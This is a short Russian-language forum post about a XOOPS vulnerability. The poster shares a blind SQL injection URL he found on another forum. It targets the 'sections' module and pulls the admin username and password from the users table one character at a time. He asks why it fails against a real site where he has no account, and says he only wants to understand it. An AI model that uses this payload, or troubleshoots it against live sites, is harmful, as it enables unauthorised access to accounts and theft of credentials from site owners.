ilya20069
Сообщений: 7
Оценки: 0
Присоединился: 2010-08-16 15:04:42.736666
|
на античате нарыл уязвимость вида
/modules/sections/index.php?op=viewarticle&artid=1+and+1=if(ascii(substring((select%20concat( uname,0x3a,pass)%20from%20exe_users%20where%20uid= 1%20limit%201),1,1))%3E1,(select%201%20union%20sel ect%202),1)/*
(орфография сохранена)
но не могу ею воспользоваться в силу недостатка знаний. сайт есть, но при вводе отображается страница artid 1 без изменений, в адресе тоже ничего не меняется. акка у меня там нет(сайт закрыт для регистрации) пробовал с пробелами и без
я что-то не так делаю? цель даже не взлом а понимание действия данной уязвимости
|
использование уязвимости xoops - 
